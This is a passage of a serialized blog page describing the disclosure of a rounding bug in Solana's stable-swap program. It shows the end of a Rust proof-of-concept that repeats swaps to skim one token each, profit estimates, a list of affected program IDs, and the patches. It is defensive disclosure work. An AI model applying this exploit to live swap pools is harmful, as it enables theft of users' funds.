e":638},{"type":24,"tag":271,"props":11340,"children":11341},{"class":273,"line":384},[11342,11346,11351],{"type":24,"tag":271,"props":11343,"children":11344},{"style":624},[11345],{"type":29,"value":11197},{"type":24,"tag":271,"props":11347,"children":11348},{"style":630},[11349],{"type":29,"value":11350},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":271,"props":11352,"children":11353},{"style":288},[11354],{"type":29,"value":638},{"type":24,"tag":271,"props":11356,"children":11357},{"class":273,"line":393},[11358,11363],{"type":24,"tag":271,"props":11359,"children":11360},{"style":477},[11361],{"type":29,"value":11362}," 1",{"type":24,"tag":271,"props":11364,"children":11365},{"style":288},[11366],{"type":29,"value":638},{"type":24,"tag":271,"props":11368,"children":11369},{"class":273,"line":402},[11370],{"type":24,"tag":271,"props":11371,"children":11372},{"style":477},[11373],{"type":29,"value":11374}," 2\n",{"type":24,"tag":271,"props":11376,"children":11377},{"class":273,"line":411},[11378,11383,11387,11392],{"type":24,"tag":271,"props":11379,"children":11380},{"style":288},[11381],{"type":29,"value":11382}," )",{"type":24,"tag":271,"props":11384,"children":11385},{"style":624},[11386],{"type":29,"value":41},{"type":24,"tag":271,"props":11388,"children":11389},{"style":598},[11390],{"type":29,"value":11391},"unwrap",{"type":24,"tag":271,"props":11393,"children":11394},{"style":288},[11395],{"type":29,"value":4230},{"type":24,"tag":271,"props":11397,"children":11398},{"class":273,"line":420},[11399],{"type":24,"tag":271,"props":11400,"children":11401},{"emptyLinePlaceholder":16},[11402],{"type":29,"value":327},{"type":24,"tag":271,"props":11404,"children":11405},{"class":273,"line":429},[11406],{"type":24,"tag":271,"props":11407,"children":11408},{"style":2058},[11409],{"type":29,"value":11410}," // nonce\n",{"type":24,"tag":271,"props":11412,"children":11413},{"class":273,"line":438},[11414,11419,11423,11427,11431,11436,11440,11444,11449,11454,11458,11463,11467,11472],{"type":24,"tag":271,"props":11415,"children":11416},{"style":630},[11417],{"type":29,"value":11418}," swap_instruction",{"type":24,"tag":271,"props":11420,"children":11421},{"style":624},[11422],{"type":29,"value":41},{"type":24,"tag":271,"props":11424,"children":11425},{"style":288},[11426],{"type":29,"value":8590},{"type":24,"tag":271,"props":11428,"children":11429},{"style":624},[11430],{"type":29,"value":41},{"type":24,"tag":271,"props":11432,"children":11433},{"style":598},[11434],{"type":29,"value":11435},"append",{"type":24,"tag":271,"props":11437,"children":11438},{"style":288},[11439],{"type":29,"value":606},{"type":24,"tag":271,"props":11441,"children":11442},{"style":624},[11443],{"type":29,"value":1137},{"type":24,"tag":271,"props":11445,"children":11446},{"style":278},[11447],{"type":29,"value":11448},"mut",{"type":24,"tag":271,"props":11450,"children":11451},{"style":598},[11452],{"type":29,"value":11453}," vec!",{"type":24,"tag":271,"props":11455,"children":11456},{"style":288},[11457],{"type":29,"value":4520},{"type":24,"tag":271,"props":11459,"children":11460},{"style":630},[11461],{"type":29,"value":11462},"i",{"type":24,"tag":271,"props":11464,"children":11465},{"style":288},[11466],{"type":29,"value":158},{"type":24,"tag":271,"props":11468,"children":11469},{"style":630},[11470],{"type":29,"value":11471},"extranonce",{"type":24,"tag":271,"props":11473,"children":11474},{"style":288},[11475],{"type":29,"value":4655},{"type":24,"tag":271,"props":11477,"children":11478},{"class":273,"line":447},[11479],{"type":24,"tag":271,"props":11480,"children":11481},{"emptyLinePlaceholder":16},[11482],{"type":29,"value":327},{"type":24,"tag":271,"props":11484,"children":11485},{"class":273,"line":455},[11486,11490,11494,11499,11503,11507],{"type":24,"tag":271,"props":11487,"children":11488},{"style":278},[11489],{"type":29,"value":10738},{"type":24,"tag":271,"props":11491,"children":11492},{"style":278},[11493],{"type":29,"value":10743},{"type":24,"tag":271,"props":11495,"children":11496},{"style":630},[11497],{"type":29,"value":11498}," instructions",{"type":24,"tag":271,"props":11500,"children":11501},{"style":624},[11502],{"type":29,"value":1712},{"type":24,"tag":271,"props":11504,"children":11505},{"style":598},[11506],{"type":29,"value":11453},{"type":24,"tag":271,"props":11508,"children":11509},{"style":288},[11510],{"type":29,"value":11511},"[];\n",{"type":24,"tag":271,"props":11513,"children":11514},{"class":273,"line":464},[11515],{"type":24,"tag":271,"props":11516,"children":11517},{"emptyLinePlaceholder":16},[11518],{"type":29,"value":327},{"type":24,"tag":271,"props":11520,"children":11521},{"class":273,"line":473},[11522,11527,11531,11536,11540,11545],{"type":24,"tag":271,"props":11523,"children":11524},{"style":630},[11525],{"type":29,"value":11526}," instructions",{"type":24,"tag":271,"props":11528,"children":11529},{"style":624},[11530],{"type":29,"value":41},{"type":24,"tag":271,"props":11532,"children":11533},{"style":598},[11534],{"type":29,"value":11535},"push",{"type":24,"tag":271,"props":11537,"children":11538},{"style":288},[11539],{"type":29,"value":606},{"type":24,"tag":271,"props":11541,"children":11542},{"style":630},[11543],{"type":29,"value":11544},"swap_instruction",{"type":24,"tag":271,"props":11546,"children":11547},{"style":288},[11548],{"type":29,"value":1155},{"type":24,"tag":271,"props":11550,"children":11551},{"class":273,"line":483},[11552],{"type":24,"tag":271,"props":11553,"children":11554},{"emptyLinePlaceholder":16},[11555],{"type":29,"value":327},{"type":24,"tag":271,"props":11557,"children":11558},{"class":273,"line":491},[11559,11564,11568,11573,11577,11581,11586,11590,11594,11599,11603,11607,11611],{"type":24,"tag":271,"props":11560,"children":11561},{"style":630},[11562],{"type":29,"value":11563}," env",{"type":24,"tag":271,"props":11565,"children":11566},{"style":624},[11567],{"type":29,"value":41},{"type":24,"tag":271,"props":11569,"children":11570},{"style":598},[11571],{"type":29,"value":11572},"execute_as_transaction",{"type":24,"tag":271,"props":11574,"children":11575},{"style":288},[11576],{"type":29,"value":606},{"type":24,"tag":271,"props":11578,"children":11579},{"style":624},[11580],{"type":29,"value":1137},{"type":24,"tag":271,"props":11582,"children":11583},{"style":630},[11584],{"type":29,"value":11585},"instructions",{"type":24,"tag":271,"props":11587,"children":11588},{"style":288},[11589],{"type":29,"value":158},{"type":24,"tag":271,"props":11591,"children":11592},{"style":624},[11593],{"type":29,"value":1137},{"type":24,"tag":271,"props":11595,"children":11596},{"style":598},[11597],{"type":29,"value":11598},"vec!",{"type":24,"tag":271,"props":11600,"children":11601},{"style":288},[11602],{"type":29,"value":4520},{"type":24,"tag":271,"props":11604,"children":11605},{"style":624},[11606],{"type":29,"value":1137},{"type":24,"tag":271,"props":11608,"children":11609},{"style":630},[11610],{"type":29,"value":11261},{"type":24,"tag":271,"props":11612,"children":11613},{"style":288},[11614],{"type":29,"value":4655},{"type":24,"tag":271,"props":11616,"children":11617},{"class":273,"line":499},[11618],{"type":24,"tag":271,"props":11619,"children":11620},{"style":288},[11621],{"type":29,"value":1171},{"type":24,"tag":25,"props":11623,"children":11624},{},[11625],{"type":29,"value":11626},"It works!",{"type":24,"tag":10670,"props":11628,"children":11629},{},[11630],{"type":24,"tag":25,"props":11631,"children":11632},{},[11633],{"type":29,"value":11634},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":11636,"children":11637},{},[11638],{"type":24,"tag":74,"props":11639,"children":11641},{"alt":7,"src":11640},"/posts/spl-swap/poc.png",[],{"type":24,"tag":62,"props":11643,"children":11645},{"id":11644},"exploitability",[11646],{"type":29,"value":11647},"Exploitability",{"type":24,"tag":25,"props":11649,"children":11650},{},[11651],{"type":29,"value":11652},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":11654,"children":11655},{},[11656],{"type":29,"value":11657},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":11659,"children":11660},{},[11661],{"type":29,"value":11662},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":11664,"children":11665},{},[11666],{"type":24,"tag":74,"props":11667,"children":11669},{"alt":7,"src":11668},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":11671,"children":11672},{},[11673,11675,11680],{"type":29,"value":11674},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":10648,"props":11676,"children":11677},{},[11678],{"type":29,"value":11679},"per instruction",{"type":29,"value":11681},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":11683,"children":11684},{},[11685],{"type":29,"value":11686},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":11688,"children":11689},{},[11690,11692,11697],{"type":29,"value":11691},"Some quick napkin math confirms that this ",{"type":24,"tag":10648,"props":11693,"children":11694},{},[11695],{"type":29,"value":11696},"is",{"type":29,"value":11698}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":11700,"children":11701},{},[11702],{"type":24,"tag":135,"props":11703,"children":11707},{"className":11704},[11705,11706],"language-math","math-inline",[11708],{"type":24,"tag":271,"props":11709,"children":11712},{"className":11710},[11711],"katex",[11713],{"type":24,"tag":271,"props":11714,"children":11717},{"className":11715,"ariaHidden":5670},[11716],"katex-html",[11718,11824,11880,11920],{"type":24,"tag":271,"props":11719,"children":11722},{"className":11720},[11721],"base",[11723,11729,11735,11797,11807,11813,11820],{"type":24,"tag":271,"props":11724,"children":11728},{"className":11725,"style":11727},[11726],"strut","height:0.8141em;",[],{"type":24,"tag":271,"props":11730,"children":11733},{"className":11731},[11732],"mord",[11734],{"type":29,"value":156},{"type":24,"tag":271,"props":11736,"children":11738},{"className":11737},[11732],[11739,11744],{"type":24,"tag":271,"props":11740,"children":11742},{"className":11741},[11732],[11743],{"type":29,"value":4121},{"type":24,"tag":271,"props":11745,"children":11748},{"className":11746},[11747],"msupsub",[11749],{"type":24,"tag":271,"props":11750,"children":11753},{"className":11751},[11752],"vlist-t",[11754],{"type":24,"tag":271,"props":11755,"children":11758},{"className":11756},[11757],"vlist-r",[11759],{"type":24,"tag":271,"props":11760,"children":11763},{"className":11761,"style":11727},[11762],"vlist",[11764],{"type":24,"tag":271,"props":11765,"children":11767},{"style":11766},"top:-3.063em;margin-right:0.05em;",[11768,11774],{"type":24,"tag":271,"props":11769,"children":11773},{"className":11770,"style":11772},[11771],"pstrut","height:2.7em;",[],{"type":24,"tag":271,"props":11775,"children":11781},{"className":11776},[11777,11778,11779,11780],"sizing","reset-size6","size3","mtight",[11782],{"type":24,"tag":271,"props":11783,"children":11785},{"className":11784},[11732,11780],[11786,11792],{"type":24,"tag":271,"props":11787,"children":11789},{"className":11788},[11732,11780],[11790],{"type":29,"value":11791},"−",{"type":24,"tag":271,"props":11793,"children":11795},{"className":11794},[11732,11780],[11796],{"type":29,"value":7670},{"type":24,"tag":271,"props":11798,"children":11800},{"className":11799},[11732,29],[11801],{"type":24,"tag":271,"props":11802,"children":11804},{"className":11803},[11732],[11805],{"type":29,"value":11806}," BTC",{"type":24,"tag":271,"props":11808,"children":11812},{"className":11809,"style":11811},[11810],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":271,"props":11814,"children":11817},{"className":11815},[11816],"mbin",[11818],{"type":29,"value":11819},"∗",{"type":24,"tag":271,"props":11821,"children":11823},{"className":11822,"style":11811},[11810],[],{"type":24,"tag":271,"props":11825,"children":11827},{"className":11826},[11721],[11828,11833,11839,11846,11851,11857,11867,11871,11876],{"type":24,"tag":271,"props":11829,"children":11832},{"className":11830,"style":11831},[11726],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":271,"props":11834,"children":11836},{"className":11835},[11732],[11837],{"type":29,"value":11838},"$41",{"type":24,"tag":271,"props":11840,"children":11843},{"className":11841},[11842],"mpunct",[11844],{"type":29,"value":11845},",",{"type":24,"tag":271,"props":11847,"children":11850},{"className":11848,"style":11849},[11810],"margin-right:0.1667em;",[],{"type":24,"tag":271,"props":11852,"children":11854},{"className":11853},[11732],[11855],{"type":29,"value":11856},"400/",{"type":24,"tag":271,"props":11858,"children":11860},{"className":11859},[11732,29],[11861],{"type":24,"tag":271,"props":11862,"children":11864},{"className":11863},[11732],[11865],{"type":29,"value":11866},"BTC",{"type":24,"tag":271,"props":11868,"children":11870},{"className":11869,"style":11811},[11810],[],{"type":24,"tag":271,"props":11872,"children":11874},{"className":11873},[11816],[11875],{"type":29,"value":11819},{"type":24,"tag":271,"props":11877,"children":11879},{"className":11878,"style":11811},[11810],[],{"type":24,"tag":271,"props":11881,"children":11883},{"className":11882},[11721],[11884,11889,11895,11905,11910,11916],{"type":24,"tag":271,"props":11885,"children":11888},{"className":11886,"style":11887},[11726],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":11890,"children":11892},{"className":11891},[11732],[11893],{"type":29,"value":11894},"150",{"type":24,"tag":271,"props":11896,"children":11898},{"className":11897},[11732,29],[11899],{"type":24,"tag":271,"props":11900,"children":11902},{"className":11901},[11732],[11903],{"type":29,"value":11904}," swaps",{"type":24,"tag":271,"props":11906,"children":11909},{"className":11907,"style":11908},[11810],"margin-right:0.2778em;",[],{"type":24,"tag":271,"props":11911,"children":11914},{"className":11912},[11913],"mrel",[11915],{"type":29,"value":762},{"type":24,"tag":271,"props":11917,"children":11919},{"className":11918,"style":11908},[11810],[],{"type":24,"tag":271,"props":11921,"children":11923},{"className":11922},[11721],[11924,11929],{"type":24,"tag":271,"props":11925,"children":11928},{"className":11926,"style":11927},[11726],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":271,"props":11930,"children":11932},{"className":11931},[11732],[11933],{"type":29,"value":11934},"$0.0621",{"type":24,"tag":25,"props":11936,"children":11937},{},[11938],{"type":29,"value":11939},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":11941,"children":11942},{},[11943],{"type":29,"value":11944},"We're well on our way to becoming a millionaire!",{"type":24,"tag":62,"props":11946,"children":11947},{"id":257},[11948],{"type":29,"value":11949},"Patch",{"type":24,"tag":25,"props":11951,"children":11952},{},[11953],{"type":29,"value":11954},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":11956,"children":11957},{},[11958],{"type":29,"value":11959},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":261,"props":11961,"children":11965},{"code":11962,"language":11963,"meta":7,"className":11964,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[11966],{"type":24,"tag":135,"props":11967,"children":11968},{"__ignoreMap":7},[11969],{"type":24,"tag":271,"props":11970,"children":11971},{"class":273,"line":274},[11972,11976,11981,11986,11990,11995,12000],{"type":24,"tag":271,"props":11973,"children":11974},{"style":598},[11975],{"type":29,"value":10616},{"type":24,"tag":271,"props":11977,"children":11978},{"style":378},[11979],{"type":29,"value":11980}," logs",{"type":24,"tag":271,"props":11982,"children":11983},{"style":378},[11984],{"type":29,"value":11985}," -um",{"type":24,"tag":271,"props":11987,"children":11988},{"style":624},[11989],{"type":29,"value":7499},{"type":24,"tag":271,"props":11991,"children":11992},{"style":598},[11993],{"type":29,"value":11994}," grep",{"type":24,"tag":271,"props":11996,"children":11997},{"style":378},[11998],{"type":29,"value":11999}," 'Instruction: Swap'",{"type":24,"tag":271,"props":12001,"children":12002},{"style":378},[12003],{"type":29,"value":12004}," -B1\n",{"type":24,"tag":25,"props":12006,"children":12007},{},[12008],{"type":29,"value":12009},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":261,"props":12011,"children":12013},{"code":12012},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[12014],{"type":24,"tag":135,"props":12015,"children":12016},{"__ignoreMap":7},[12017],{"type":29,"value":12012},{"type":24,"tag":25,"props":12019,"children":12020},{},[12021],{"type":29,"value":12022},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":12024,"children":12025},{},[12026],{"type":29,"value":12027},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":12029,"children":12030},{},[12031],{"type":29,"value":12032},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":261,"props":12034,"children":12036},{"code":12035,"language":10717,"meta":7,"className":10718,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[12037],{"type":24,"tag":135,"props":12038,"children":12039},{"__ignoreMap":7},[12040,12093,12105],{"type":24,"tag":271,"props":12041,"children":12042},{"class":273,"line":274},[12043,12047,12051,12056,12060,12065,12069,12073,12077,12081,12085,12089],{"type":24,"tag":271,"props":12044,"children":12045},{"style":624},[12046],{"type":29,"value":9821},{"type":24,"tag":271,"props":12048,"children":12049},{"style":278},[12050],{"type":29,"value":10800},{"type":24,"tag":271,"props":12052,"children":12053},{"style":630},[12054],{"type":29,"value":12055}," dy",{"type":24,"tag":271,"props":12057,"children":12058},{"style":624},[12059],{"type":29,"value":1712},{"type":24,"tag":271,"props":12061,"children":12062},{"style":630},[12063],{"type":29,"value":12064}," swap_destination_amount",{"type":24,"tag":271,"props":12066,"children":12067},{"style":624},[12068],{"type":29,"value":41},{"type":24,"tag":271,"props":12070,"children":12071},{"style":598},[12072],{"type":29,"value":10967},{"type":24,"tag":271,"props":12074,"children":12075},{"style":288},[12076],{"type":29,"value":606},{"type":24,"tag":271,"props":12078,"children":12079},{"style":630},[12080],{"type":29,"value":10848},{"type":24,"tag":271,"props":12082,"children":12083},{"style":288},[12084],{"type":29,"value":2693},{"type":24,"tag":271,"props":12086,"children":12087},{"style":624},[12088],{"type":29,"value":10887},{"type":24,"tag":271,"props":12090,"children":12091},{"style":288},[12092],{"type":29,"value":1069},{"type":24,"tag":271,"props":12094,"children":12095},{"class":273,"line":284},[12096,12100],{"type":24,"tag":271,"props":12097,"children":12098},{"style":624},[12099],{"type":29,"value":1012},{"type":24,"tag":271,"props":12101,"children":12102},{"style":2058},[12103],{"type":29,"value":12104}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":271,"props":12106,"children":12107},{"class":273,"line":294},[12108,12112,12116,12120,12124,12128,12132,12136,12140,12144,12148,12152,12156,12160,12164,12168,12172],{"type":24,"tag":271,"props":12109,"children":12110},{"style":624},[12111],{"type":29,"value":1012},{"type":24,"tag":271,"props":12113,"children":12114},{"style":278},[12115],{"type":29,"value":10800},{"type":24,"tag":271,"props":12117,"children":12118},{"style":630},[12119],{"type":29,"value":12055},{"type":24,"tag":271,"props":12121,"children":12122},{"style":624},[12123],{"type":29,"value":1712},{"type":24,"tag":271,"props":12125,"children":12126},{"style":630},[12127],{"type":29,"value":12064},{"type":24,"tag":271,"props":12129,"children":12130},{"style":624},[12131],{"type":29,"value":41},{"type":24,"tag":271,"props":12133,"children":12134},{"style":598},[12135],{"type":29,"value":10967},{"type":24,"tag":271,"props":12137,"children":12138},{"style":288},[12139],{"type":29,"value":606},{"type":24,"tag":271,"props":12141,"children":12142},{"style":630},[12143],{"type":29,"value":10848},{"type":24,"tag":271,"props":12145,"children":12146},{"style":288},[12147],{"type":29,"value":2693},{"type":24,"tag":271,"props":12149,"children":12150},{"style":624},[12151],{"type":29,"value":10865},{"type":24,"tag":271,"props":12153,"children":12154},{"style":598},[12155],{"type":29,"value":10967},{"type":24,"tag":271,"props":12157,"children":12158},{"style":288},[12159],{"type":29,"value":606},{"type":24,"tag":271,"props":12161,"children":12162},{"style":477},[12163],{"type":29,"value":156},{"type":24,"tag":271,"props":12165,"children":12166},{"style":288},[12167],{"type":29,"value":2693},{"type":24,"tag":271,"props":12169,"children":12170},{"style":624},[12171],{"type":29,"value":10887},{"type":24,"tag":271,"props":12173,"children":12174},{"style":288},[12175],{"type":29,"value":1069},{"type":24,"tag":25,"props":12177,"children":12178},{},[12179,12181,12188],{"type":29,"value":12180},"For reference, here is the ",{"type":24,"tag":32,"props":12182,"children":12185},{"href":12183,"rel":12184},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[36],[12186],{"type":29,"value":12187},"Curve.fi implementation",{"type":29,"value":41},{"type":24,"tag":261,"props":12190,"children":12194},{"code":12191,"language":12192,"meta":7,"className":12193,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[12195],{"type":24,"tag":135,"props":12196,"children":12197},{"__ignoreMap":7},[12198,12260],{"type":24,"tag":271,"props":12199,"children":12200},{"class":273,"line":274},[12201,12206,12211,12216,12220,12225,12229,12234,12238,12242,12247,12251,12255],{"type":24,"tag":271,"props":12202,"children":12203},{"style":288},[12204],{"type":29,"value":12205}," dy",{"type":24,"tag":271,"props":12207,"children":12208},{"style":624},[12209],{"type":29,"value":12210},":",{"type":24,"tag":271,"props":12212,"children":12213},{"style":3887},[12214],{"type":29,"value":12215}," uint256",{"type":24,"tag":271,"props":12217,"children":12218},{"style":624},[12219],{"type":29,"value":1712},{"type":24,"tag":271,"props":12221,"children":12222},{"style":288},[12223],{"type":29,"value":12224}," xp[j] ",{"type":24,"tag":271,"props":12226,"children":12227},{"style":624},[12228],{"type":29,"value":9821},{"type":24,"tag":271,"props":12230,"children":12231},{"style":288},[12232],{"type":29,"value":12233}," y ",{"type":24,"tag":271,"props":12235,"children":12236},{"style":624},[12237],{"type":29,"value":9821},{"type":24,"tag":271,"props":12239,"children":12240},{"style":477},[12241],{"type":29,"value":824},{"type":24,"tag":271,"props":12243,"children":12244},{"style":288},[12245],{"type":29,"value":12246}," # ",{"type":24,"tag":271,"props":12248,"children":12249},{"style":624},[12250],{"type":29,"value":9821},{"type":24,"tag":271,"props":12252,"children":12253},{"style":477},[12254],{"type":29,"value":156},{"type":24,"tag":271,"props":12256,"children":12257},{"style":288},[12258],{"type":29,"value":12259}," just in case there were some rounding errors\n",{"type":24,"tag":271,"props":12261,"children":12262},{"class":273,"line":284},[12263,12268,12272,12276,12280,12285,12289,12294,12299],{"type":24,"tag":271,"props":12264,"children":12265},{"style":288},[12266],{"type":29,"value":12267}," dy_fee",{"type":24,"tag":271,"props":12269,"children":12270},{"style":624},[12271],{"type":29,"value":12210},{"type":24,"tag":271,"props":12273,"children":12274},{"style":3887},[12275],{"type":29,"value":12215},{"type":24,"tag":271,"props":12277,"children":12278},{"style":624},[12279],{"type":29,"value":1712},{"type":24,"tag":271,"props":12281,"children":12282},{"style":288},[12283],{"type":29,"value":12284}," dy ",{"type":24,"tag":271,"props":12286,"children":12287},{"style":624},[12288],{"type":29,"value":627},{"type":24,"tag":271,"props":12290,"children":12291},{"style":288},[12292],{"type":29,"value":12293}," self.fee ",{"type":24,"tag":271,"props":12295,"children":12296},{"style":624},[12297],{"type":29,"value":12298},"/",{"type":24,"tag":271,"props":12300,"children":12301},{"style":288},[12302],{"type":29,"value":12303}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":12305,"children":12306},{},[12307,12309,12316],{"type":29,"value":12308},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":32,"props":12310,"children":12313},{"href":12311,"rel":12312},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[36],[12314],{"type":29,"value":12315},"original commit",{"type":29,"value":12317},", not as an additional security patch.",{"type":24,"tag":261,"props":12319,"children":12321},{"code":12320},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[12322],{"type":24,"tag":135,"props":12323,"children":12324},{"__ignoreMap":7},[12325],{"type":29,"value":12320},{"type":24,"tag":25,"props":12327,"children":12328},{},[12329,12331,12338],{"type":29,"value":12330},"The commit adding stable swaps to SPL was ",{"type":24,"tag":32,"props":12332,"children":12335},{"href":12333,"rel":12334},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[36],[12336],{"type":29,"value":12337},"made a few months later",{"type":29,"value":12339},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":261,"props":12341,"children":12343},{"code":12342},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[12344],{"type":24,"tag":135,"props":12345,"children":12346},{"__ignoreMap":7},[12347],{"type":29,"value":12342},{"type":24,"tag":25,"props":12349,"children":12350},{},[12351,12353,12360],{"type":29,"value":12352},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":32,"props":12354,"children":12357},{"href":12355,"rel":12356},"https://github.com/solana-labs/solana-program-library",[36],[12358],{"type":29,"value":12359},"the Solana Program Library",{"type":29,"value":41},{"type":24,"tag":25,"props":12362,"children":12363},{},[12364],{"type":29,"value":12365},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":12367,"children":12368},{},[12369,12376],{"type":24,"tag":32,"props":12370,"children":12373},{"href":12371,"rel":12372},"https://github.com/joncinque",[36],[12374],{"type":29,"value":12375},"@joncinque",{"type":29,"value":12377}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":10670,"props":12379,"children":12380},{},[12381],{"type":24,"tag":25,"props":12382,"children":12383},{},[12384],{"type":29,"value":12385},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":12387,"children":12388},{},[12389,12391,12398,12400,12406],{"type":29,"value":12390},"After some thought, he helped ",{"type":24,"tag":32,"props":12392,"children":12395},{"href":12393,"rel":12394},"https://github.com/solana-labs/solana-program-library/pull/2942",[36],[12396],{"type":29,"value":12397},"introduce a PR",{"type":29,"value":12399}," which ceilings the computation in ",{"type":24,"tag":135,"props":12401,"children":12403},{"className":12402},[],[12404],{"type":29,"value":12405},"compute_new_destination_amount",{"type":29,"value":12407}," to correctly round within the stable curve math library.",{"type":24,"tag":261,"props":12409,"children":12411},{"code":12410,"language":10717,"meta":7,"className":10718,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[12412],{"type":24,"tag":135,"props":12413,"children":12414},{"__ignoreMap":7},[12415,12423,12453,12480,12508,12532,12608,12712,12739,12834,12937,12964,12976,12995,13018],{"type":24,"tag":271,"props":12416,"children":12417},{"class":273,"line":274},[12418],{"type":24,"tag":271,"props":12419,"children":12420},{"style":2058},[12421],{"type":29,"value":12422}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":271,"props":12424,"children":12425},{"class":273,"line":284},[12426,12431,12435,12440,12444,12449],{"type":24,"tag":271,"props":12427,"children":12428},{"style":278},[12429],{"type":29,"value":12430}," let",{"type":24,"tag":271,"props":12432,"children":12433},{"style":278},[12434],{"type":29,"value":10743},{"type":24,"tag":271,"props":12436,"children":12437},{"style":630},[12438],{"type":29,"value":12439}," y_prev",{"type":24,"tag":271,"props":12441,"children":12442},{"style":624},[12443],{"type":29,"value":12210},{"type":24,"tag":271,"props":12445,"children":12446},{"style":3887},[12447],{"type":29,"value":12448}," 